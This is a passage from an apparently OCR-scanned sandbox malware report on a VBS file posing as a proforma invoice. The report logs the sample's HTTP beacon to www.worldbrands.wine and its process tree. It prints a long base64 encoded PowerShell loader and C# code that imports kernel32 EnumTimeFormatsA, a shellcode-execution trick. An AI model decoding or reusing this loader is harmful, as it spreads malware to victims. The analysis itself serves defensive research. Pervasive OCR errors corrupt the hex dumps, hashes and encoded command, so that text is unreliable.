51 40 f1 4c bd af 54 3f e0 2c 12 c6 76 05 9a 7e dd 63 al 08 c6 3b 2f 20 36 0a 02 91 84 ff f2 23 ef 6e 75 9a cd e5 75 f8 6¢
€2 67 0d 3e 2b cd e6 97 26 €9 62 98 16 80 22 ca 65 fb 97 82 b4 77 bf ba 81 1c 6d ef 7b cc e3 e4 67 b8 5d 4a 6f 91 f2 16
b9 9d 49 6e b5 dO dc fe 0a 6b 18 ed 6d 59 01 6f 9f d7 47 a4 d1 28 37 ad 73 15 df be 4b 7a 4a 87 2c be 73 9b 87 5d ee fb
dc a7 2a 02 75 85 01 bc 7d 77 19 69 2f 2d 4c 37 8e 7b 05 ba b1 4e f8 7b 91 3b 50 bd 22 3d 77 7b 45 5a 66 d4 2f 90 b2
77 5f e5 43 7c c0 45 7f 10 6f 11 89 8f 83 69 b9 55 85 62 f1 2b 9¢ 25 8¢ c¢7 51 8a ae f2 ¢7 15 f3 54 cb 75 80 80 Oe d4 2¢ 35
35e2ba 17 a8 03 7a b8 45 06 02 06 5b e6 d4 ea 50 99 1b 32 58 21 cc 11 b3 e8 b1 45 6e f2 d5 d6 4a cb b3 cd bd 44 1b
2c 8b 94 00 48 d1 b6 Oc 75 9c fa dc 53 da 42 1a 68 81 f4 b9 06 ab e0 53 d2 23 6a 22 50 26 4a bd c4 c4 2a 74 f4 43 a6 fb
a0 74 bl 8a b6 c8 6a 33 3a b4 d4 22 e6 a3 15 d0 ae 8a al e2 16 69 a7 Of 66 e8 48 25 f9 59 2a 50 97 7c el 8¢ 85 c9 8 ab
c2 e3 8c 5¢ 45 8d 8c a3 a3 50 29 44 b3 42 02 a8 be 40 37 5a f0 e0 2c 0d 7 d4 91 a9 ea 78 de 02 fc 7a e4 ab 03 49 43 2e
13 57 df 17 26 0a 18 4c 73 2f 0 8e 27 5e 50 5f 68 ee b9 79 80 f9 4b 42 3b bf a0 21 1a e6 04 c4 80 ee 1b 15 08 9f dc 6¢
36 bb 1b 9¢ 7d

Data Ascii: \s?BcVH:F68gy%*:aoBn f8C$R]v%N (" nA7nI8wo,mwdyoaAcF;$({G?<$21u]W{p#k+Ywij#"Z;>S{L 5Nk*MIxZ
DPP%@EZ<;N*ILtL(ERCyScQpPV#FqS[]?\]115DowQCj82xImz$995Wd.i}' pINKkWjus i7tinsq[mI\mp\m$]nC<#Dur VO3]
i2+j[-ksps~xVakg"UCA_WA)7|*\hm%SfqDW3=nXAZkuB[FC#hlyJ{lu6_777[+pslg@eTIb"TPv>u+&+CXZ/D,$y0_!XB,9"p$
:Q@LT?,v~c;/ 6#nuulg>+&b"ewm{g]JoinkmYoG(7sKzJ,s]*ulwi/-L7{N{;P"=w{EZf/w_C|E0iUb+%QTu,55zE[P2X!EnJD,
HuSBhS#"P&J*Ct]3:"ifH%Y*P|\EP)DB@7Z xzIC.W&Ls/""P_hyKB;!I6}

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=I13LuUn17XOwO1L66Bn3hjajRgSpI6QUPLSUULKpfr+VyFXt3qGa+
SpnJy79y37sHeXr HTTP/1.1

Host: www.worldbrands.wine

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Direction
transferred

Timestamp

Aug 8, 2022 871 IN
17:45:09.740950108
CEST

Statistics

Behavior

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Date: Mon, 08 Aug 2022 15:45:09 GMT

Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 35 37 30 32 0d Oa 3c 68 74 6d 6¢ 3e Oa Oa 3c 68 65 61 64 3e 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22
3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 0a 09 3c 74 69 74 6¢ 65 3e 41 43 54 49
56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 3c 2f 74 69 74 6¢ 65 3e Oa Oa 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65
7770 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 7
46961 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f
6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e
74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22
4175 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2¢ 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c
6d 65 74 61 20 6e 61 6d 65 3d 22 4f 77 6e 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2¢ 20 73
2e 72 2e 6f 2e 20 22 3e 0a 0a 09 3c 21 2d 2d 20 66 61 76 69 63 6f 6e 20 73 74 61 72 74 20 2d 2d 3e Oa 09 3c 6¢ 69 6e
6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 35 37 78 35 37 22 20
68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61
70 70 6¢ 65 2d 69 63 6f 6e 2d 35 37 78 35 37 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢C 65
2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 36 30 78 36 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a
2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 36 30
78 36 30 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6 22
207369 7a 65 73 3d 22 37 32 78 37 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 3
234 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 37 32 78 37 32 2e 70 6e 67 22 3e 0a 09 3c 6
€ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36
222068 726566 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e
2f61 70 70 6¢ 65 2d 69 63 6f 6e 2d 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70
6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 31 34 78 31 31 34 22 20 68 72 65 66 3d 22 68 74
74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f
6e 2d 31 31 34 78 31 31 34 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68
2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75
69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 31 32 30 78 31 32
30 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73
69 7a 65 73 3d 22 31 34 34 78 31 34 34 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65
32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 31 34 34 78 31 34 34 2e 70 6e 67 22 3e Oa
09 3c 6¢

Data Ascii: 5702<html><head><base href="/"><meta charset="utf-8"><title>ACTIVE 24, s.r.0.</title><meta name="v
iewport" content="width=device-width, initial-scale=1"><meta name="Keywords" content=""><meta name="Description"
content="ACTIVE 24, s.r.o."><meta name="Author" content="ACTIVE 24, s.r.0."><meta name="Owner" content="ACTIVE
24, s.r.0. ">... favicon start --><link rel="apple-touch-icon" sizes="57x57" href="https://gui.active24.cz/img/icon/apple-icon-
57x57.png"><link rel="apple-touch-icon" sizes="60x60" href="https://gui.active24.cz/img/icon/apple-icon-60x60.png"><link
rel="apple-touch-icon" sizes="72x72" href="https://gui.active24.cz/img/icon/apple-icon-72x72.png"><link rel="apple-touch-
icon" sizes="76x76" href="https://gui.active24.cz/img/icon/apple-icon-76x76.png"><link rel="apple-touch-icon" sizes="
114x114" href="https://gui.active24.cz/img/icon/apple-icon-114x114.png"><link rel="apple-touch-icon" sizes="120x120"
href="https://gui.active24.cz/img/icon/apple-icon-120x120.png"><link rel="apple-touch-icon" sizes="144x144" href=
"https://gui.active24.cz/img/icon/apple-icon-144x144.png"><I

@ wscript.exe
® powershell.exe
@ conhost.exe
@ csc.exe

@ cvires.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
© ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ieinstal.exe
@ ielowutil.exe
@ explorer.exe
©® rundll32.exe
@ ielowutil.exe
@ ielowutil.exe
@ cmd.exe

@ conhost.exe
@ cmd.exe

@ conhost.exe
@ firefox.exe
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Click to jump to process

o)

System Behavior

Analysis Process: wscript.exe PID: 8084, Parent PID: 4868

General

Target ID: 0

Start time: 17:40:54

Start date: 08/08/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"
Imagebase: 0x7ff73a8e0000

File size: 170496 bytes

MDS5 hash: 0639BOA6F69B3265C1E42227D650B7D1

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: moderate

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 1740, Parent PID: 8084

General

Target ID: 4

Start time: 17:41:39

Start date: 08/08/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\vl.0\powershell.exe

Wow64 process (32bit): true
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Commandline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAY QBWAHMAeQBrACAAQQBuU
AHQAaQB0ACAARABIAGQAZQBsSAHMAYQBJACAAZABIAHMAJQBSACAATQB1AHIACABOAGKAZQBKACAATQBSAGQACYJAGAEWAbWBIAHQA
aABIACAAQQBJAGMAdQBIAGIAZQBUAHQAaWAgAFAAZQBJAHQAbWBYAGEAbABpAHMAIABEAHUAdgBIAHQAIABPAHAAcWBWAHIAJABUACAADYBIAG
QAZABpAGUACWAgAFUAZABzAHYAaQBUAGCAIABBAG4AY QBSAHKACWBIAGEAIABGAGEACYBIAHMAZWBSAGBAIABEAGUAbQBhAHIAIABCAGWAdQBI
AGIAZQBsSACAAQWBVAHUACGBPAGQAYQBOACAAbWBMAGYAbABPAGMAIAANAAOAIWBSAHUADABSAGUACWBOACAATABhAGMAaABYAHKA
bQBhAHQAIABCAGEACgB5AHQAaAB5AGOAIABNAGEACgBpAHMAIABOAGBAbBABzZAGUAeQBrAHUABAAgAFUAdQBKAHMADABL1AGsAawBIACAAUWBhAH
QACWBIAGKAbBABSAGUAIABBAGWAdYBpPAGQAZQBUAGQAIABVAGQAZWBhAGAAZWBZzAGYAbwBYACAAVYBIAG QAZWBhACAARYBIAHIAaQBIAGWAIQBr
AG4AIABSAGUAeQBrACAAQWBOAGEACWBzZAGUACgAgAEUACQB1AGEADABSAGKAIABGAG8ACgBzZAHQAZQBUACAADQBLAHMAawBpACAA
VQBUAHAAZQBIAGWAIABTAHAAZQBrAHQAY QAGAEOAdQBUAGCADQBhAGAAZABIAGAAIABPAGAAZ ABIAGSAJAAGAEKACWBVAGWAIABTAGSAZQBSAG
4AZQBtAHIAAWAGAEQAZWBUAGYADAAGAEY AbwBSAGSAZQBYAGUAIABBAGYACABhAHMAbgAgAEQAY QBSAGWAeQAGAEWAY QBUAGQAZW
BhAG4AZwWBzACAASABIAG4AcgBpAGSACWBIAGAAIABNAGBAbABIAG8AaABpAHMAIABTAGEAbgBIAHIAaQBUAGCAIABHAHIAdQBOAGAAIABTAHQA
YQBrAGwWAYQBKAGUAcgBUACAAQQBYAGMAaAAgAAOACYAKAEMAMWAYACAAPQAgAFSAYWBOAGEACgBAADMANAAGACSAIAAIAFOAIGAGACSAIAAIAH
CAQQAIACSsAIgBsAGWAIgArACIAbwBJACIAKWAIAG EAdABIAFYAaQBYyACIAKWAIAHQAdQBhAGWATQAIACSAIgBIACIAKWAIAGOAIgArACIAbwBY
AHKAIgAgACSAIABbAGMAaABhAHIAXQAZADQADQAKACMAQWBVAGOAbQBhAGAAZABPAGAAZWAgAHUAbgBKAGUACYBIAGUAIABBAHAAbBWBYAHIAIA
BVAG4AZgB1AHQAaQBSACAASYB1IAGWAaQBhAG4AaQBzAHQAYJAGAEIAY QBNAGSAbABKAGAAaQBUAGCAIABTAGUACGBIAGAAIABDAGBAbgB2ACAA
TwBzAHQAZQBVAHAABABhACAAVQBUAHAACYBIAGYAZQBYAGEAIABTAGEADQBIAGUAIABTAGUABQBPAHMACABPAHIAY QAgAFIAZQBNAGUAbgBzAG
kKAYQBUAGUAIABGAGUAaABzAG8AIABTAGSAbwB2ACAASWBVAGOACABSAGUAJABOAGUAIABSAGUAZABzAGUAIABEAGKACWBWAHUAJABKAGEAZWAg
AEYAYQB1AGMAIABTAGUAbQBpACAAZWBhAGWAY QBjAHQAIABOAG8AcgBVAHAAAQBhAG4AaQBJACAATQBPAGWAbBABPAHMAZQBrAHUA
bgAgAEIAZQBNAHIAZQBIAHMAZAAGAESAZABMAGEACJAgAEOAaQBzAGBAZWB5ACAAVABVAHAAZGBVAHIAcCWBWACAAQWBWAHIAZgAgGAGWAaQB2AH
MAYgBIAHQAaQAgAEBACYBKAHIAZQAGAEOADABKAGUAaQBUAGBAZABVACAARQBIAHMAY QBtAGUAbgAgAFUAZABKAGEAbgBUAGUADABZAGUAIAAN
AACAQQBKAGQALQBUAHKACABIACAALQBUAHKACABIAEQAZQBMAGKAbgBpAHQAaQBVAG4AIABAACIADQAKAHUACWBPAGAAZWAGAFMA
eQBzAHQAZQBtADSADQAKAHUACWBPAGA4AZWAgAFMAeQBzAHQAZQBIAC4AUgB1AGAAdABPAGOAZQAUAEKAbgBOAGUACgBVAHAAUWBIAHIAAGBPAG
MAZQBzADSADQAKAHAAJQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABJAGWAY QBzAHMAIABTAGSAeQBKADEADQAKAHSADQAKAFSARA
BSAGWASQBtAHAAbWBYAHQAKAAIAGSAZQBYAG4AZQBSADMAMGAUAGQABABSACIAKQBAAHAAJQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHGA
dABIAHIAbgAgAEKAbgBOAFAAJABYACAARQBUAHUABQBUAGKAbQBIAEYAbwBYAGOAY QBOAHMAQQA0AHUAaQBUAHQAIABEAGUACGBpAHYAYQBOAG
kAdgBOADUALABpAG4AdAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQANGASACAAaQBUAHQAIABEAGUACYBPAHYAY QBOAGKAdgBOADCAKQA7AAOACGAN
AACAWWBEAGWADABJAGOACABVAHIAdAAOACIAawBIAHIAbgBIAGWAMWAYAC4AZABSAGWAIGAPAFOACABLIAGIABABPAGMAIABZAHQAY QBOAGKAYW
AgAGUAeABOAGUACYBUACAASQBUAHQAUABOAHIAIABDAHIAZQBhAHQAZQBQAGKACABIACJAdQBPAGAAdAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQA
NQASAGKAbgBOACAARABIAHIAaQB2AGEAJABpAHYAJAA2ACWAIABPAGAAJAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQANWAPADSADQAKAAOACYBLAE
QAbABSAEKAbQBWAG8ACgBOACgAIgBUAHQAZABSAGWALYBKAGWADAAIACWAIABFAGAAJABYAHKAUABVAGKAbgBOADOAJABDADMAMgGAPAFOACABL
AGIAbABpPAGMAIABZAHQAYQBOAGKAYWAJAGUAeABOAGUACgBUACAAaQBUAHQAIABGAGKAZABhACgAaQBUAHQAIABTAGSAeQBKADYALABYAGUAZg
AgAEKAbgBOADMAMYAgAGWAbgBKAGCAaAASAGKAbgBOACAARABIAHIAaQB2AGEAJABpAHYAJAASAHIAZQBMACAASQBUAHQAMWAYACAAUWBIAHKA
ZAAsAGKAbgBOACAAUgBNAGUAbgBKAGUAMQAOADIALABpPAGAAdAAGAFMAawB5AGQANWAPADSADQAKAAOACYBbAEQADABSAEKADQBWAGBACBOAC
gAIgBrAGUACgBUAGUADBAAZADIALgBKAGWADBAAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGAAJABQ
AHQACJAgAECAZQBOAEYAaQBSAGUAVABPAGOAZQAOAHUAaQBUAHQAIABEAGUACgBpAHYAY QBOAGKAdgBOADUALABPAGAAJAAGAEQA
ZQByAGKAdgBhAHQAaQB2AHQANgAPADSADQAKAAOACYBIAAOACJIAIAEAADQAKACMAY gBVAHIAdABZACAARYB5AGCAZQBOAGUAbgBOACAATWBZAH
QAaQBUAGQAaQBIAGYAYQAJAEQAZQBUAHMAaQBMAGKAYWBhAHQAIABFAHgAYWBIAGWAIABIAGQAZQBUAHIAaQBNAHMADQAGAHYAYQ
BzAGKAYWBIAG4AdABYAGKAIABXAGKAbgBIAHMAawBpAGA4AY QB2ACAAUWBIAGKAYgBzAGWAY QBKAG4AaQAgAFKAZABIAGWACWBIAHMAbgBpAHYA
IAANAAOAJABTAGSsAeQBKADMAPQAWADSADQAKACQAUWBrAHKAZAASADOAMQAWADQAOAALADCANGA7AAOACYAKAFMAaWB5AGQAOAA9
AFSAUWBIrAHKAZAAXAFOAOGABAEYAaQBKAGEAKAAtADEALABBAHIAZQBMAFOAJABTAGSAeQBKADMALAAWACWAWWBYAGUAZgBAACQAUWBIAHKAZA
ASACWAMQAYADIAOAA4ACWANGAOACKADQAKACQAYgBhAHIAbWB1AGMAaABIAHQAJAA9ACJARWBIAHQALQBJAHQAZQBIAFAACYBVAH
AAZQBYAHQAeQAgACOAUABhAHQAAAAJACIASABLAEMAVQABAFWAUWBVAGYAdAB3AGEACYBIAFWAUWBOAGAY QBtAGOAZQAIACKALGBTAGSAbwB2
AGOADQAKACQARABIAHIAaQB2AGEAdABpAHYAJAAWACAAPQAJACCAJABEAGOAdgBSAGUAdJQBKACAAPQAgAFSAUWB5AHMAJABIAGOA
LgBDAG8AbgB2AGUACgBOAFOAOGABAEYAcgBVAGOAQYBhAHMAJIWAIrACCAZQA2ADQAUWBOAHIAaQBUAGCAKAAKAGIAY QBYAGBAdQBJAGJAZQBOAH
QAKQANAAOACgAMACAAKAAGAFSAYWBOAGEAcgBAADEAMAALACSAIWBFACCAKWANAFgAIWAPACAAIABEAGUACgBpAHYAYQBOAGKAdg
BOADAADQAKAFsAUWB5AHMAJABIAGOALgBSAHUAbgBOAGKAbQBIAC4ASQBUAHQAZQBYAGBACABTAGUACgB2AGKAYWBIAHMALGBNAGEACgBzAGgA
YQBsAFOAOgAGAEMAbwBWAHKAKAAKAEQAagB2AGWAZQBIAGQALAAGADAALAAGACAAIJABTAGSAeQBKADMALAAgGACQARABGAHYADABI
AHUAZAAUAGMAbwWB1AG4AdAApPADSADQAKAFSAUWBrAHKAZAAXAFOAOgA6AEUAbgB1AGOAVABPAGOAZQBGAGBACBIAGEAdABZAEEAKAAKAFMAaw
B5AGQAMWASACAAMAASACAAMAAPAAOACJANAAOADQAKAAOACGA=

Imagebase: 0x7d0000
File size: 433152 bytes
MD5 hash: C32CA4ACFCC635EC1EAGEDBA34DF5FAC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET
Reputation: moderate

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6D038792 CreateFileW
iptPolicyTest_p4elcppe.vic.psl synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device sequential only |  success or wait 1 6D038792 CreateFileW
iptPolicyTest_ro4sxpqd.lc5.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user read data or list  device directory file | object name collision 1 6E0D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6E0D3263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\Documents\20220808 read data or list  device directory file | success or wait 1 6D040794 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\Documents\20220808\PowerShell_transcr read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
ipt.128757.vOZEILJ7.20220808174142.txt synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\tmhd51lu read data or list  device directory file | success or wait 1 6C73AC39 CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
mp\tmhd51lu\tmhd51lu.tmp synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
mp\tmhd51lu\tmhd51lu.0.cs synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dil read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
mp\tmhd51lu\tmhd51lu.cmdline synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
mp\tmhd51lu\tmhd51lu.out synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.err read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 6D038792 CreateFileW
crosoft\Windows\PowerShell\ModuleAnalysisCache synchronize | non alert | non

generic read | directory file |

generic write open no recall
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Te 0 60 2320506f77657253  # PowerShell test file to  success or wait 1 6D039B71 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicyTest_p4elcppe.vlc.psl 74 20 66 69 6¢ 6520 74  lockdown mode

6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f

63 6b 64 6f 77 6e 20 6d

6f 64 65 20
C:\Users\user\AppData\Local\Te 0 60 232050 6f77 657253  # PowerShell test file to success or wait 1 6D039B71 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicyTest_ro4sxpqd.lc5.psm1 74 20 66 69 6¢ 65 20 74  lockdown mode

6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f

63 6b 64 6f 77 6e 20 6d

6f 64 65 20
unknown 0 3 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6D039B71 WriteFile
unknown 3 4096 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6D039B71 WriteFile
unknown 4099 1641 75 6e 6b 6e 6f 77 6e unknown success or wait 5 6D039B71 WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\tmhd51lu\tmhd51Iu.0.cs

C:\Users\user\AppData\Local\Te
mp\tmhd51lu\tmhd51lu.cmdline
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Offset

0

0

Length Value

618

371

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
75 73 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d 0a 70
75 62 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
73732053 6b 79 64 31
0d 0a 7b 0d Oa 5b 44 6¢
6¢ 49 6d 70 6f 72 74 28
22 6b 65 72 6e 65 6¢ 33
32 2e 64 6¢ 6¢ 22 29 5d
70 75 62 6¢ 69 63 20 73
7461 74 69 63 20 65 78
74 65 72 6e 20 49 6e 74
50 74 72 20 45 6e 75 6d
54 69 6d 65 46 6f 72 6d
61 74 73 41 28 75 69 6e
74 20 44 65 72 69 76 61
7469 76 74 35 2c 69 6e
7420 44 65 72 69 76 61
7469 76 74 36 2c 20 69
6e 74 20 44 65 72 69 76
61 74 69 76 74 37 29 3b
0d Oa Od Oa 5b 44 6¢ 6¢
49 6d 70 6f 72 74 28 22
6b 65 72 6e 65 6¢ 33 32
2e 64 6¢ 6¢ 22 29 5d 70
75 62 6¢ 69 63 20 73 74
61 74 69 63 20

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 7365 72 73 5¢
41727468 7572 5¢c 41
7070 44 61 74 61 5c 4c
6f 63 61 6¢ 5¢ 54 65 6d
70 5c 74 6d 68 64 35 31
6¢ 75 5¢ 74

Ascii Completion Count Source Address

using System;using success or wait 1 6D039B71
System.Runt
ime.InteropServices;publi
c static class
Skyd1{[Dllimport("ke
rnel32.dll")]public static
extern IntPtr
EnumTimeFormatsA(uint
Derivativts,int Derivativt6,
int Derivativt7);[DIlimport(
"kernel32.dll")]public
static

It:library /utf8output success or wait 1 6D039B71
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\tmhd51lu\t

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\tmhd51lu\tmhd51lu.out

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache
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Offset

0

0

Length Value

458

4096

ff 43 3a 5¢ 55 73 65 72
735c41727468 7572
5c 44 65 73 6b 74 6f 70
3e 20 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 45 54 5¢ 46 72 61 6d
65 77 6f 72 6b 5¢ 76 34
2e 30 2e 333033 31 39
5¢ 63 73 63 2e 65 78 65
22 20 2f 74 3a 6¢ 69 62
7261727920 27574
66 38 6f 75 74 70 75 74
20 2f523a22537973
74 65 6d 2e 64 6¢ 6¢C 22
20 2f 52 3a 22 43 3a 5¢
57 69 6e 64 6f 77 73 5¢c
4d 69 63 72 6f 73 6f 66
